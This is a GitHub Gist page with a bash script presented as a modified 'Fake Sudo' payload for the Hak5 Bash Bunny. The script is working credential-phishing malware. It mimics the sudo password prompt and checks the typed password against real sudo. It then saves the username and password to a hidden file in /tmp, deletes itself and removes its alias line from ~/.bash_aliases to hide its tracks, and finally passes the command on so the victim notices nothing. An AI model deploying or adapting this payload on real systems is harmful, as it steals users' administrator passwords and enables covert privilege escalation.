Created
May 27, 2022 20:41
-
-
Save AlexLynd/7aa8fcedc3590292ab1ae70f01220c90 to your computer and use it in GitHub Desktop.
Modified "Fake Sudo" payload by TW-D for the Hak5 Bash Bunny.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Fake-sudo | |
# | |
# This program imitates the behavior | |
# of the "sudo" command. | |
# | |
readonly INPUT_MESSAGE="[sudo] password for ${USER}: " | |
readonly MAXIMUM_ATTEMPTS=3 | |
readonly ERROR_MESSAGE="sudo: ${MAXIMUM_ATTEMPTS} incorrect password attempts" | |
attempts() { | |
/bin/echo -n "${INPUT_MESSAGE}" | |
read -r -s sudo_password | |
/bin/echo "" | |
if /bin/echo "${sudo_password}" | /usr/bin/sudo -S /bin/true 2> /dev/null; then | |
## | |
# <YOUR-PAYLOAD> | |
## | |
/bin/echo "${USER}:${sudo_password}" > /tmp/.sudo_password | |
## | |
# </YOUR-PAYLOAD> | |
## | |
/bin/rm ~/.sudo_phishing.sh | |
/usr/bin/head -n -1 ~/.bash_aliases > ~/.bash_aliases_bak | |
/bin/mv ~/.bash_aliases_bak ~/.bash_aliases | |
/bin/echo "${sudo_password}" | /usr/bin/sudo -S "${@}" | |
$BASH | |
exit 0 | |
fi | |
} | |
if (/usr/bin/sudo -n /bin/true 2> /dev/null) || [ "${#}" -eq 0 ]; then | |
/usr/bin/sudo "${@}" | |
else | |
for ((iterator=1; iterator <= MAXIMUM_ATTEMPTS; iterator++)); do | |
attempts "${@}" | |
done | |
/bin/echo "${ERROR_MESSAGE}" | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment